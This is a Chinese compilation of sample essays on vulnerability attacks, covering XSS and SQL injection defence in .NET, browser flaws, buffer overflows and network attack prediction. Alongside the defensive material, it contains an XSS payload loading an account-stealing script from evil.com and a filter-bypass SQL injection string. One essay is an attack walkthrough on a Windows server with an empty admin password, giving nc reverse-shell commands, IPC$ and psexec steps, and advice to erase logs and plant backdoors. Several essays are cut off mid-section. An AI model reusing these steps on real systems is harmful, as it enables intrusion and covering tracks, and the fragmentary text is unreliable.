漏洞攻击范文

2024-06-27

漏洞攻击范文(精选8篇)

漏洞攻击 第1篇

1典型的WEB应用漏洞攻击

1.1 XSS漏洞

XSS攻击是最常见的一种应用层的攻击,曾被OWASP(Open Web Application Security Project)列为WEB安全威胁之首。脚本的安全问题主要是由于HTML语言支持脚本语言嵌入机制而引发的。

XSS攻击主要是将恶意html标签或者javascript代码注入到其他用户使用的页面的解释过程中,同时利用XSS漏洞去旁路调用访问控制———例如同源策略。攻击者可以借助用户使用的页面中存在的XSS漏洞调用访问控制,在其输入信息时密码等敏感信息就会被攻击者窃取,或者通过插入挂马代码对用户执行挂马攻击。

1.2 SQL注入漏洞

SQL注入漏洞是一种数据库攻击手段,也是WEB应用程序漏洞存在的表现形式之一。通常是利用包含特殊目的的SQL语句,通过关键变量插入到实际的数据库操作语句中,以获得密码等敏感信息,达到获取主机控制权限的目的。

SQL注入漏洞形成原因是利用对用户提交的WEB参数数据未做充分、严密的检查过滤,这些数据可能会被用来构造访问后台数据库的SQL指令。SQL注入攻击危害性极大,利用该漏洞不但可以直接攻击WEB服务器,还可能用于网页挂马。

2 WEB应用漏洞攻击的防范方案

WEB应用的攻击利用必须保持开放以允许网站的正常访问的80号知名端口(WEB站点的默认端口)来发动的,因此传统的防火墙和网络安全防御并不能对其提供任何的安全保护。究其漏洞的根源,在于WEB的应用层,WEB应用的安全问题本质上也就源于软件质量问题。以下从WEB应用开发的角度,以.net平台为例,讨论WEB应用中潜在的XSS漏洞和SQL注入漏洞威胁,提出相应的防范方案。

2.1 XSS攻击的防范

2.1.1潜在的XSS漏洞威胁

(1)查找代码中产生HTML输出的部分,常见的如“Response.write()”“<%=”等处;然后检查该HTML输出是否包含输入参数,这些输入参数可能来自于多处,如表单处、Cookie、Session和Application等参数处,以及数据库相关操作处。如包含输入参数,那么这些位置都是潜在的XSS漏洞。如某在线购物网站的商品评论输入栏:<input type=”text”name=”opinion”value=””/>,如果在评论中输入的攻击数据为:<iframesrc=”http://evil.com/stealaccount.js”></iframe>,当其他浏览者查看该商品评论时,恶意脚本代码就会被执行,该浏览者可能将遭受侵害。

(2)检查可能存在危险的HTML Tags和Tag Tttributes,如果程序中利用输入参数来动态产生HTML Tags或Tag Attributes,则可能会因此引入潜在的XSS漏洞。如:Literall.Text=@”<span style=””color:”+Text Box1.Text+@”””>Color example</span>”;攻击者可以利用HTML Attributes来产生XSS攻击。以下的两个例子,就是通过<img>的src属性和改变<style>的type属性来注入script代码的:

<imgsrc=”javascript:alert(‘hello’);”>

<style TYPE=”text/javascript”>alert(‘hello’);</style>

2.1.2 XSS漏洞的防范方案

2.1.2.1限制输入

假设所有的输入都是恶意的,检查所有输入类型、长度、格式、范围。

(1)对于来自服务器端控件的输入,可以使用.net提供的输入验证控件进行输入限制,比如Regular Expression Validator和Range Validator;

(2)对于来自客户端HTML控件的输入,或其他来源的输入,可以在服务器端使用正则表达式来检查输入是否合法,如System.Text.Regular Expression.Regex;

(3)为了检查输入的数据类型,可以将所有的输入数据转为.net Framework的数据类型,并捕捉处理转换异常。

2.1.2.2编码输出

如果输出包含了来自不安全的数据,比如来自用户输入或来自数据库的数据,可以对输出数据进行编码转换,比如‘<’替换成‘<’,使数据变为不可执行的HTML安全编码,以规避风险。常用的如Http Utility.Html Encode和Http Utility.Url Encode方法。

2.1.2.3其他方法

(1)不要动态地生成和执行代码。可以在Java Script程序中使用若干种方法动态地生成代码,例如eval()函数。然而,肆无忌惮地使用该函数是非常危险的。

(2)对于具有潜在危险的客户端输入,.net默认提供了检查功能。打开配置文件中validate Request选项,即启用了检测功能。但有时HTML Tag如<b>、<i>是可以被允许的,此时只能禁用该功能,采用输入过滤的方法。

(3)使用Anti-XSS Library(Microsoft Anti-Cross Site Scripting Library)。它采用了“白名单防护策略”,即只有特定编码的字符串、被允许的字符才能够通过HTTP传输,任何在设定以外的字符或发现潜在的XSS攻击行为时就会对相关字符进行编码,例如使用Html Encode、Url Encode、LDAP Encode、XPath Encode等。

2.1.3 SQL注入攻击的防范

产生SQL注入漏洞的因素主要有以下三方面:

(1)不完全的输入验证和过滤;

(2)用未经验证和过滤的参数动态构建或者拼接SQL语句;

(3)数据库操作访问权限设置不当。

通过分析SQL注入攻击原理,有针对性地制定如下的防范措施:

2.1.3.1输入限制

同XSS攻击的处理方式相似,用户的输入必须被严格检查处理。

(1)过滤或转义危险字符

阻止SQL注入最常见且最简单的方法是过滤或转义危险字符,这种技术的思想基础是从用户输入中移除(过滤)危险字符,或者使数据库将危险字符作为文字对待(即转义)。

过滤不是一种理想的方法,一方面因为“危险字符”仍可能是用户输入的有限部分;另一方面层出不穷的混杂编码方式出现,甚至可以使攻击者绕过过滤,如:uni'onsel'ect@@version-'-,经过对“'”和“-”的过滤和整理后,最终的数据变为:union select@@version--,仍然会导致非法SQL查询语句执行。

(2)用正则表达式限制输入

如果用ASP.NET的文本控件捕获文本框的值,则可以用一个正则表达式控件来限制其输入,如System.Text.Regular Expression.Ragex.Is Match()来限制输入。

(3)加密处理

2.1.3.2数据库访问接口限制

(1)使用Sql Parameter

Sql Parameter是.net框架提供的一种集合类型,它能对SQL输入参数类型和长度进行检查,而且自动转义用户输入。当调用存储过程时使用同样的技术,数据库将赋值给parm.Value的输入看做文字值,并强制要求类型和类型长度。如果用户输入值与要求的类型和大小不一致,代码将抛出异常。

(2)使用存储过程并尽量不拼接SQL语句

使用存储过程并不能阻止SQL注入攻击,使用中经常使用Sql Parameter Collection来对输入参数的类型、长度进行限制。但这样仍不是理想的,必须尽量减少SQL语句的拼接。

如:CREATE PROCEDURE dbo.Run Query@varntext AS

execsp_executesql@var

GO

参数为Parameters.ADD(“@var”,Sql Db Type.VarChar,32);当输入为“DROP TABLE ORDERS”仍存在风险。

2.1.3.3数据库端使用最小特权限制

如果应用程序仅需要从数据库中读取数据,就没有理由允许数据库用户对记录和表的插入和删除,以及除读取数据之外的其他任何动作。由于缺乏权限,这样可以最大限度地降低对数据库实施的SQL注入攻击造成的破坏。

2.1.3.4在服务器上处理异常

攻击的前兆是导致错误的SQL注入。如果在服务器端正确处理异常,一方面将会阻止服务器向客户端发送包含敏感信息的错误消息;另一方面服务器端可以记录发生异常的详细信息,将有助于得知受到的攻击,以及攻击的企图。

3结束语

对于某学院的WEB应用安全,本论述从程序开发的角度探讨了两种典型的WEB应用漏洞———XSS漏洞和SQL注入漏洞,并以某学院目前使用的.net平台为例,提出了两种漏洞的常见防护策略,力求对WEB应用安全问题提供一个方便、有效的参考。但由于多种原因,如输入过滤不能做到完全全面、字符编码的多样化组合等,这些防范策略仍不能100%杜绝WEB应用漏洞,仍需要我们在项目开发中提高安全意识,不断地加强安全技术培训,才能很好地防范风险,以推进某学院的科技进步。

摘要:作为一种大众平台,WEB越来越多地承载了某学院各个部门的核心业务,也成为网络主要的攻击对象,使得网页浏览中面临各种威胁。WEB应用攻击是攻击者通过浏览器或攻击工具,在网页地址或其他输入区域(比如表单等),向WEB服务器发送特殊请求,从中发现WEB应用程序的可能漏洞,从而进一步操纵网站,查看、修改未授权的信息。本论述针对WEB应用漏洞攻击方面常见的脚本漏洞攻击XSS漏洞和SQL注入漏洞,通过分析两种漏洞的攻击方式和危害,尝试提出一整套应对WEB应用漏洞攻击的相应防范方案,以保证WEB应用中业务数据的安全性和保密性,提高网络系统的运行安全。

关键词:XSS漏洞,SQL注入漏洞,防范方案

参考文献

[1]李玮.Web系统安全防护设备的研究与应用[J].电信技术,2011(11).

[2]罗卫敏,刘井波,刘静,等.XSS蠕虫在社交网络中的传播分析[J].计算机工程,2011(10).

[3]陈芳,徐威.Web跨站脚本漏洞挖掘系统设计与实现[J].江西蓝天学院学报,2010(04).

[4]彭亮.Web应用安全漏洞检测系统的设计与实现[D].北京:北京邮电大学,2012.

[5]田伟.模型驱动的web应用SQL注入安全漏洞渗透测试研究[D].天津:南开大学,2012.

[6]公衍磊.跨站脚本漏洞与攻击的客户端检测方法研究[D].大连:大连理工大学,2011.

[7]商林,徐坤玉.跨站脚本攻击与防范研究[J].佛山科学技术学院学报(自然科学版),2012(06).

关于XSS漏洞另一个攻击趋势 第2篇

XSS漏洞一般是基于WEB程序的输入输出问题,但最近80SEC开始发现了一系列以IE为内核的第三方浏览器的漏洞,在评估其中的XSS漏洞,我们发现了基于浏览器软件自身设计造成的XSS漏洞所暴发的威力有多么大! 通过类似的漏洞我测试了一个功能十足的浏览器木马,这个“木马”可以控制浏览器所有的行为,甚至包括读取本地任意文件和运行本地任意可执行文件,

关于XSS漏洞另一个攻击趋势

漏洞攻击 第3篇

微软Internet Explorer网页上的图像链接欺骗漏洞

作为最大众化的浏览器,近期Internet Explorer被发现一个新漏洞,恶意软件的作者能够利用它来诱骗用户访问一个插有恶意代码的网站。在你浏览这个网站时,恶意代码会在浏览器的地址栏中把这个恶意站点的地址伪装成一个用户经常访问的网站的URL。

因为浏览器在地址栏里不能正确显示这个恶意站点的URL才引起了这个问题。如果网页上的一张图片被附上了一个超链结并指向了恶意站点的URL,用户点击这个伪装成可信任站点的链接,实际上恶意站点就通过浏览器入侵了你的机器。

解决方法:

在微软的Windows XP SP2和微软的Internet Explorer 6.0上面已经完全修复了这个漏洞。

如果你还没来得及打SP2或者仍在使用老版的浏览器,那么请尽量不要点击不可信的超链接。

Opera浏览器的地址栏漏洞攻击

当然即便Opera这样另类的浏览器也不能幸免。现在,恶意软件的作者可以在Opera浏览器的状态栏内伪装更改显示信息,进而通过这个来进行攻击。

这一攻击是利用了地址栏、窗口任务栏和Page/Window cycler的favicons代码显示错误来入侵系统的。

解决方法:

升级Opera版本至最新的7.51版本。

下载升级地址:http://www.opera.com/download/

Opera URL的命令行漏洞攻击

在Opera中,也有不怀好意的人可以通过一些漏洞来攻击你的系统。这一攻击是通过shell脚本经常弹出的Opera命令解释指令来入侵的,并通过命令行在URL上附着backticks。它通过Red Hat Enterprise Linux 4上的邮件客户端的升级版来执行恶意指令,诱骗使用Opera为默认浏览器的用户点击一些外部程序链接的恶意站点。

注意:这一攻击只对基于Unix / Linux系统的用户进行攻击。

这一攻击被确认会攻击Red Hat Enterprise Linux 4上的Opera8.5版本,其它平台上的其它版本可能也会受波及。

解决方法:

升级到的Opera8.51版本。

升级下载地址:http://www.opera.com/download/

最后请大家注意:上述的防范办法不一定对所有的第三方恶意软件有效,所以及时关注软件开发商所公布的最新补丁是非常必要的。

最新病毒警告

近日,McAfee防病毒和漏洞紧急响应小组McAfee AVERT发布最新发现的W32/Sober@MM!M681病毒(也称作Sober!M681)警告,并将该病毒评定为中度风险级别。

Sober! M681是一种通过电子邮件进行传播的蠕虫病毒,能够把自身发送到受感染机器内的邮件地址。该蠕虫以.zip压缩文件格式作为邮件的附件,并且它与先前的Sober病毒有许多相似的功能,但是该变种能够产生和増加大量的垃圾邮件。

解决办法:

缓冲区溢出漏洞攻击及其对策 第4篇

一、缓冲区溢出漏洞

缓冲区指计算机内存块在内存地址的连续分配地址, 例如C语言中的数组。缓冲区溢出漏洞主要是由于内存边界检查机制在C语言或C++语言设计之初没有考虑设置边界而造成的。目前主流操作系统大都是采用C语言或C++语言编写的, 当计算机程序试图将写入的地址超出分配的内存边界时, 就会出现一些非法的操作:一种操作是写入数据保存到临近的内存地址空间中, 会产生错误的运行命令, 严重的话还会使整个操作系统崩溃;另一种操作是在使用此漏洞的基础上执行其他的命令, 获得该系统的最高特权, 操纵受感染的机器发动对软件系统的攻击。

二、缓冲区溢出漏洞攻击的对策

在电脑的硬件中, 栈是先进先出, 向低地址增长的一种数据结构。当1个程序中某个函数被调用时, 函数返回地址的指令以及函数的变量和参数就会被压入栈中。函数运行结束时, 就会把这个地址从栈中弹出, 并从这个地址开始运行程序的下一条指令。缓冲区是计算机分配给程序使用的1块内存空间, 栈就存在于缓冲区里面。缓冲区中的数据是向高地址增长的, 其内部也要存放一些变量和数据。当缓冲区中的数据不断增长且没有进行边界检查时, 它将会覆盖到栈中的参数甚至函数的返回地址。函数的返回地址被覆盖后, 程序的控制权将会转移到内存的1个无效位置。如果覆盖的是恶意代码, 计算机将会受到缓冲区溢出漏洞攻击。针对以上情况, 本文, 笔者采取以下措施来解决。

1. 数组边界检查。

鉴于缓冲区攻击是由于某些语言中缺乏数组边界检查机制而造成的。因而, 使用数组边界检查, 可以有效地避免此种攻击。不过, 这种方法也有致命的缺点, 那就是在使用边界检查后, C语言编译器将降低约15%的性能。此外, 也可以使用一些比较安全的语言, 例如JAVA程序。边界检查机制是JAVA与生俱来就有的, 它可以有效地防止此类漏洞。但是JAVA解释器是采用C语言程序编写的, 因此, 在源头上还是存在着相应的安全漏洞。

2. 阻止栈执行。缓冲区漏洞攻击的原理就是由于将系统的

控制权转移到执行非法移入到栈中的程序, 但是如果使栈中的程序运行无效, 即使用任何方法都不能执行栈中的程序。这样, 可以防止漏洞被利用。但是, 这需要给操作系统的内核进行升级或者是打补丁, 而且升级或者打补丁也是相当复杂的。因此, 这种方法也不易实现。由此, 本文, 笔者建议软件公司在开发操作系统平台时, 要重新设计操作系统的架构, 把这个漏洞从源头上堵住。

3. 缓冲区溢出漏洞可通过检查程序的源代码被发现。

人工检查或者是利用UNIX的grep函数查找的库函数是人们通常使用的办法。利用该方法, 可以找到很多漏洞, 但是通过此种方法, 不能绝对保证所得到的就是安全的源程序。尤其是当源程序文件内容庞大时, 此项工作更是十分困难。例如, Windosws操作系统是1个大型的操作系统软件, 虽然可以找到每一部分的漏洞, 但是考虑到系统之间的相互关联, 即使是资深程序员也很难发现所有的不安全代码。另外, 即使找到诸如strcpy和gets这样的不安全函数, 还需要用其他的程序来替换。那么替换的程序是否安全, 是否可能存在漏洞, 也是1个未知数。考虑到以上原因, 人们开发了很多自动检测源程序漏洞的技术。其中1项技术就是静态检测技术, 其特点是通过对源代码的扫描和分析, 对缓冲区溢出模式进行识别, 以完成缓冲区溢出的检测。其优点是实现方法简单, 算法效率高, 但是容易出现漏报和错报等问题。

4. 指针完整性检查。

这是一种对编译器进行扩展的方法, 在局部变量和栈的返回地址之间放入1个数据结构“canary”。“canary”是1个占用4个字节空间的数据, 在程序运行时随机产生。当1个函数调用完成后, 在要执行栈中函数返回地址代码之前检查“canary”中的数据是否发生变化。如果数据发生变化, 可以认定缓冲区溢出漏洞攻击已经发生, 必须马上中止执行栈中返回地址的代码。这样做就能够避免缓冲区溢出漏洞攻击的发生。

5. 验证系统调用。

漏洞攻击 第5篇

总所周知,操作系统的安全性在某种程度上决定了整个计算机系统的安全性。如果操作系统本身存在着安全漏洞,就算其他的软件系统天衣无缝也是枉然。然而遗憾的是,由于使用者的疏忽,常给计算机系统埋下了隐患。这些漏洞一旦被攻击者发现,将给用户带来巨大的麻烦和严重的损失。

本文通过对管理员帐户口令为空这一安全漏洞进行分析,针对一台操作系统为Windows server的服务器成功地实施了一次攻击过程。并对具体的实施过程进行详细分析,以起到警示广大读者的目的。

2.攻击过程分析

2.1攻击工具选取

2.1.1扫描主机基本信息[1]

常用的扫描软件有Xscan,NMAP等,利用Xscan扫描被攻击主机,是否有账号密码为空,或存在一些弱口令等信息。利用NMAP可以查看FTP是否打开,以及一些特殊TCP端口的状态。

通过扫描可知,被攻击主机的账号、密码为空,为后续实施具体的攻击步骤做好准备,之后的攻击步骤都需在此基础上进行。

2.1.2向攻击主机发起连接

NC.EXE是一款常用的黑客工具。通过NC命令,可以连接到一台远程主机上,监听LOCAL主机,扫描远程主机端口,还可以将remote主机绑定一个shell,并反向向攻击主机发起连接。使用格式为:

1.连接到REMOTE主机,例:nc-nvv 192.168.x.x 80连到192.168.x.x的TCP80端口。

2.监听LOCAL主机,例:nc-l-p 80监听本机的TCP80端口。

3.扫描远程主机,例:nc-nvv-w2-z 192.168.x.x 80-445扫描192.168.x.x的TCP80到TCP445的所有端口。

4.REMOTE主机绑定SHELL,例:nc-l-p 5354-t-e c:winntsystem32cmd.exe绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口。

5.REMOTE主机绑定SHELL并反向连接,格式:nc-t-e c:winntsystem32cmd.exe 192.168.x.x 5354:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口。

NC程序会将攻击主机的某个端口绑定一个shell,攻击者可以通过这个shell,在远程主机上控制被攻击主机,执行一些操作。

2.2确定攻击方法

若在之前的扫描过程中,发现被攻击主机的管理员帐户口令为空,则可以考虑利用IPC$[1]的一些性质。

因此,可以考虑通过将远程主机上的某个逻辑盘进行共享,从而将写好的木马或其他的一些恶意代码传送至这个盘中。再通过获得控制权登录被攻击主机,运行这些恶意代码。至此,一个简单的攻击过程已经完成。

2.3攻击步骤

2.3.1登录被攻击主机

这里的$是指admin用户的c:winntsystem32,本条命令以管理员权限登录至被攻击主机,因为管理员口令为空,因此打开ipc$服务,同时将NC程序送到目标机上的c:winntsystem32目录中。

本条命令也同样以管理员身份登录主机10.10.1.246上,管理员账号为空,打开IPC$共享服务。

2.3.2将远程主机的某个盘与本机进行共享

在执行过程中,不直接将目标盘P盘进行共享。原因为:在Windows XP,Windows server系统中,只允许将C,D,E等盘符进行共享。被攻击主机是一台Windows server操作系统,可以直接共享;若想要在一台Windows XP系统完成此操作,还需要对共享盘赋予可被共享的权限。

完成此步后,对主机上X盘中的内容即remote主机上的c盘中内容;对X盘进行操作,即对remote主机的C盘进行操作。

此时,已可以将写好的文档在本机上拷贝至共享目录中

2.3.3查询对方机器时间

2.3.4用at命令在被攻击主机上执行命令

使用at命令时,一定要指定好命令执行时间。时间应以备攻击主机上时间为准(这也是上一步查询目标机时间的原因),且不能为当前时刻;若指定为当前时刻,当命令发送至目标机时,该时刻已过,系统会等到第二天的这个时刻再执行at命令,会影响攻击效果。

执行at命令,获得shell。

或也可以使用Psexec10.10.1.246–u administrator–p“”cmd

psexec是一个远程执行工具,可以像使用telnet一样使用它。使用格式为:

psexec远程机器ip[-u username[-p password]][-c[-f]][-i][-d]program[arguments]

Psexec10.10.1.246–u administrator–p“”cmd:远程调用被攻击主机上的cmd,从而获得一个shell。

实施一个攻击的核心步骤,是获得一个被攻击主机的shell,一旦获得了shell,攻击者就可以很方便地执行各项操作。

2.4攻击善后阶段

想要完成一个成功的攻击,在攻击成功后,为了避免被发现和追踪,必须清除或者伪造相关入侵日志和其他入侵痕迹,并且植入后门,以便下次再次攻击此台计算机。由于篇幅原因,不在此细述。

3.总结

本文通过对管理员账号口令为空,这一常见漏洞进行分析,采用了几种常见的攻击手法,对该漏洞实施攻击。详细地叙述了每一步攻击过程的执行,具有一定的典型性。

摘要:网络技术的飞速发展,Internet的普及,深刻地改变了人类的工作和生活方式。各种各样的不安全因素,对人们使用微机造成了威胁。利用漏洞对系统进行攻击成为了黑客们惯用本文针对对管理员账号口令为空这一安全漏洞,采用了一些基本的攻击方法,详细地描述了具体地攻击过程。结合具体的实施攻击过程,分析了漏洞给系统带来的危害。

关键词:漏洞,账号,口令,攻击

参考文献

[1]谢宇.网络安全之IPC$漏洞功放剖析[J].中国期刊网,2008-11-24.

漏洞攻击 第6篇

网络攻击由多个阶段的攻击行为构成,隐蔽性强、破坏性大、威胁范围广。入侵检测系统(Intrusion detection system,IDS)常常被用来检测网络攻击,而传统的入侵检测技术从某种意义上说是一种被动的检测机制,只有当攻击已经到来或入侵发生时,才能发现攻击事件并做出响应,无法事先预测和防范。如何预测网络攻击行为成为网络安全研究的一个热点,同时攻击预测又为主动防御模型的实现奠定了基础。

1 基本概念及问题分析

一般来说,入侵者为了达到其攻击目的要实施多个步骤的攻击动作,这些攻击动作之间存在顺序关系,前一步攻击是为下一个攻击做铺垫,一个攻击的后果就是下一个攻击的前因,这样入侵过程可以描述成攻击路径,可以用报警关联图表示,下面介绍相关概念。

(1)超报警(hyper-alert)

超报警是在报警的聚合与关联中,综合多个原始报警或其他超报警所产生的报警。超报警类型T是一个3元组(fact,prerequisite,consequence)。其中fact为属性名称集;prerequisite和consequence是谓词公式的集合,其所有变元来自fact中,二者分别规定攻击成功必须满足的条件及可能带来的后果。

所描述的超报警类型将其存入知识库。在实际关联中,从报警元组产生的超报警类型的实例记为h。将超报警类型的前提条件集合表示为P(T),结果集合表示为C(T),在P(T)或C(T)中的所有谓词的变量由报警元组中相应的属性值来替换。对于两个超报警h1和h2,如果存在p∈P(h2),并且c∈C(h1),对于所有的c∈C,c.end.time

(2)报警关联图(alerts correlation graph)

报警关联图CG=(N,E)是一个有向无环连通图,节点集合N表示超报警集合,对每一对节点n1,n2∈N,当且仅当在E中存在一条从n1到n2的边时,n1为n2做准备。

几乎所有攻击都是针对网络脆弱点发起的,而攻击图就是依据网络脆弱点构建的可能的网络攻击路径,从而为基于网络脆弱点的攻击预测方法做出了可能性,基于网络弱点的攻击预测方法中一个很重要的定义就是网络弱点与攻击关系表,文中基于这个关系对IDS报警进行逻辑推理。我们借鉴网络弱点评估相关技术来定义网络弱点与攻击关系。主机表、网络连接关系表、网络弱点与攻击关系表等3个表分别表示主机具有的弱点、主机连接关系、网络攻击所依赖的弱点等信息,给出以下定义。

(3)主机表

主机表用4元组(HostId,Svcs,Sw,Vuls)表示,表中的每条记录都是对网络中主机的描述。其中HostId为主机在网络中的惟一标识符;Svcs是主机上开放网络服务的列表;Sw是其它软件列表,包括操作系统的类型和版本;Vuls是主机上存在的弱点列表,弱点标识采用CVE(Common Vulnerabilities and Exposures)命名方法,列表中包括主机上安装的软件所具有的可被利用的安全缺陷信息(如具有缓冲区溢出问题的IIS服务器)。

(4)网络连接关系表

网络连接表用3元组(SrcID,DstID,Connect)表示网络连接关系,其中SrcID为入侵主机,DstID为目标主机,Connect为两主机间连接关系的集合,用协议表示访问关系。当SrcID=DstID时,连接关系为LocalHost。

(5)网络弱点与攻击关系表

网络弱点与攻击关系表用五元组(Exploit,Vuls,Conn_proto,Dst_access,Post Con)表示,其中Exploit为攻击类型名称;Vuls为攻击所依赖的弱点列表,弱点标识同样采用CVE命名方法;Conn_proto则说明了发起攻击主机和攻击目标主机之间应满足的连接关系,用网络连接协议表示;Dst_access表示攻击者在攻击目标主机上应具备的最低用户级别,访问权限从低到高有NONE,USER,ROOT;PostCon为相应的攻击结果,这里用攻击成功后入侵者在目标机上新增的权限表示。网络弱点与攻击关系表是对网络弱点进行分析后得到的,是对预测攻击的重要依据。下面是关系表中的一条记录(如表1)。

2 攻击预测方法

2.1 预测算法

本文描述的网络攻击是入侵者为达到目标而采取的攻击行为,可以用攻击事件的关联图表示,这里用报警关联图描述。攻击者先从其已获得权限的主机向网络中与之相连且存在漏洞的主机发起攻击,当攻击成功时,攻击者在被攻击主机上获得了一定权限,在能力允许的条件下,攻击者从被攻克的主机上再次发动攻击,如此往复,直至攻陷目标主机并达到既定目标。在攻击过程中,遵循以下规则:

(1)参考单一性假设,攻击者在一台主机上获得的权限不影响再次发动更多攻击。

(2)现实中攻击者是“充满智慧且贪婪”的,只要系统中存在可以利用的漏洞,攻击者就知道怎样利用它发动成功的攻击且不会重复。

鉴于此,本文提出预测的方法主要过程可以分为两步:(1)对IDS报警进行关联生成报警关联图;(2)根据网络主机表主机漏洞、网络弱点与攻击关系预测下一步攻击。方法如下:

首先将关报警关联图中的超报警作为起始节点,在网络连接关系表和主机表中查找和起始节点有协议相连并且存在漏洞的主机,生成一个主机队列;利用当前攻击者所具有的权限和主机漏洞,检查是否可以满足某种攻击前提且权限提升,如果满足,则判定攻击者在被攻击主机上获得了一定的权限。然后尝试从另一个与之相连并存在漏洞的主机出发;如此往复直至到达目标,目标一般是获得主机的最高权限,即root账户的权限。

算法描述:其流程如图1所示。

2.2 预测算法示例

使用因果关联方法可以把超报警表示成报警关联图,以表示攻击过程进行情况,根据已经进行的攻击步骤来预测下一步攻击。下面通过一个引例来说明。这里每个攻击步骤我们用前面定义的超报警来表示。

假设入侵者先在一个网络进行扫描,然后攻击者对这个网络中某一台主机host进行端口扫描,搜索这台主机中存在漏洞,网络中的IDS对这两个攻击行为产生报警,这里可以用超报警IP_Sweep和Port_Scan表示。我们将这两条超报警进行关联,得到形成如图2所示的报警关联图,从这个报警关联图可以得知已经进行的攻击。我们希望根据已知信息来预测出入侵者的下一步攻击。

现在我们已经生成报警关联图,得到超报警序列IP_SWEEP→Port_Scan。其中,Port_Scan的DstID为host1,也就是入侵者是对host1进行端口扫描。我们在网络主机表中查询得知host1的主机描述数据表为(host1,(DNS,FTP),CVE-1999-0368)。其中“CVE-1999-0368”是FTP协议漏洞,攻击者可利用此漏洞进行缓冲区溢出Ftp_buf_overflow攻击。在网络弱点与攻击关系表中搜索到“Ftp_buf_overflow”条目(Ftp_buf_overflow,(USER,NONE,CVE-1999-0368,FTP),GainAccess(DestIP)),表示攻击所需要的前提条件为:存在FTP协议漏洞和host1运行FTP议,后果是GainAccess(DestIP),即可以对host2进行访问。在网络连接关系表中查到(host1,host2,(FTP,DNS)),可知主机host1上运行着FTP协议。我们将报警关联图1中的PortScan报警作为起始节点,然后由上面的预测算法可生成攻击队列Port_Scan→Ftp_buf_overflow,如图3所示,这表示IDS可能接下来的报警Ftp_buf_overflow,也就是预测到的Ftp缓冲区溢出攻击。虚线指向的就是预测的下一步攻击(如图3所示)。

3 实验及结果分析

进行两个实验来验证攻击预测算法的有效性。第一个实验是我们自己搭建一个小型实验网络,如图4所示。首先对网络进行扫描,收集数据建立网络主机表、网络主机连接表等数据表,然后分步骤实施攻击。第两个实验的实验数据为DARPA攻击场景数据集LLDOS1.0和LLDOS2.02。先用因果关联方法对报警进行关联,然后用本文提出的方法预测下一步攻击。实验中只重放部分数据集,然后采用本文提出的预测算法进行攻击预测。

3.1 实验1

图4是一个实验拓扑图,其中内网有两台目标主机host1和host2,host1安装的是Linux,运行Samba服务以及MySql数据库。在一个内部网络上,另外有一台Web服务器Server处于非军事区(DMZ)网,该主机是安装Linux,运行Apache提供Web服务;一台防火墙FW1将DMZ和外网隔离。还有一个防火墙FW2将内网和DMZ隔离。内网主机提供了E-mail服务和Ftp服务,这两种服务分别存在一个脆弱性,这两种服务允许不同的内部主机访问,假设攻击者的最终目的是为了破坏数据库的功能。采用的步骤如下:

(1)攻击者Attacker从外网对Apache网页服务器Server发动攻击,利用其Apache软件的漏洞进行缓冲区溢出攻击,从而获得了对该服务器的访问权;(2)攻击者利用网页服务器对内网的Windows主机host2的RPC服务进行了缓冲区溢出,获得了主机host2的管理员权限;(3)对主机host1上的Samba服务进行的缓冲区溢出攻击,使攻击者获得了Linux主机的root控制权限。该路径的最后一个转移是一个标志性步骤,表示攻击者获得了成功。

攻击路径应该是Apache_Buf_Overflow→Rpc_Buf_Overflow→Samba_Buf_Overflow。

在实验中,我们收到IDS的报警,通过报警因果关联技术得到报警关联图,这个报警关联图可以描述已经进行的攻击步骤,如图5所示。

通过分析关联图可以得知入侵者已经获得了host2上Windows管理员的权限,接下来,我们通过预测算法,得到下一步攻击是Samba_Buf_Overflow,即利用Samba服务漏洞的缓冲区溢出攻击。如图6所示。

下面我们来分析预测算法的工作步骤:算法首先查找主机表,如表2所示,host2的主机表,发现其与host1有连接关系,连接协议为Samba协议。接下来查找host1的主机表,发现host1上有漏洞CVE-2007-2446,通过网络弱点与攻击关系表得知利用CVE-2007-2446可以进行Samba缓冲区溢出攻击。即接下来的攻击为Samba_Buf_Overflow,预测的下一步攻击与实验中的攻击意图是相同的。

3.2 实验2

实验2数据为DARPA攻击场景数据集LLDOS1.0和LLDOS2.02,LLDOS 1.0的攻击利用了系统的Sadmind漏洞,攻击者首先探测某主机的Sadmind漏洞,然后用远程缓冲区溢出攻击该漏洞,再通过Rsh登录到攻击源主机上拷贝并安装拒绝服务攻击代理。LLDOS2.02的攻击过程与LLDOS1.0类似,只是采用了更加隐蔽的方式。DARPA数据集包括用tcpdump分别在DMZ(非军事区)和内部网中监听到的全部数据包,本文采用内部网的数据包。数据回放工具采用tcpreplay,选用RealSecure Network Sensor 6.5产生原始报警。为了验证预测方法的效果,实验中只重放部分数据,然后使用报警关联方法建立报警关联图,简化后如图7。

我们采用预测算法对接下来的攻击进行预测,结果得到Mstream_Zombie攻击,这与LLDOS1.0的规划攻击是相符的,这也就证实预测方法的有效性。将预测报警并入到报警关联图,如图8所示。

从两个实验可以看出,在已知报警关联图的基础上,用本文的基于网络弱点与攻击关系的方法可以有效预测下一步攻击。由于篇幅有限,未将关联图LLDOS2.02的实验分析列出。

4 总结和未来的工作

传统的入侵检测技术不能有效的预测攻击,本文给出了一种基于网络弱点的预测算法来预测入侵者的下一步攻击。在预测攻击的过程中,首先使用IDS报警关联的方法建立报警关联图,以获知入侵者已进行的攻击步骤,然后利用网络弱点与攻击关系推理出下一步攻击。实验结果表明该预测方法是有效的,进一步的工作需要完善预测算法,以能适应更多网络结构并更加准确的预测攻击。

摘要:入侵检测系统可以检测到攻击,但不能预测攻击者下一步的攻击。本文分析了基于攻击为预测方法的不足,提出了一种基于网络弱点的攻击预测方法。该方法使用报警关联方法建立报警关联图,然后利用网络弱点和攻击的关系预测攻击者的下一步攻击。最后,通过实验验证了该方法的有效性。

关键词:攻击,攻击预测,网络弱点,报警关联

参考文献

[1]王祖俪,程小平.入侵响应中基于事件相关性的攻击预测算法[J].计算机科学.2005.

[2]马俊春,孙继银,王勇军.一种高效的攻击图生成方法研究[J].微电子学与计算机.2011.

漏洞攻击 第7篇

由于PHP语言是目前开发各种Web应用程序的首选语言之一。文章就以PHP语言为例,通过对跨站脚本漏洞攻击和文件上传漏洞攻击及其防范措施进行较为详细的阐述,以此总结出在开发Web应用程序时,开发人员需要注意的一些问题及其采取的措施。

2 常见Web应用程序安全漏洞攻击实例分析及其防范措施

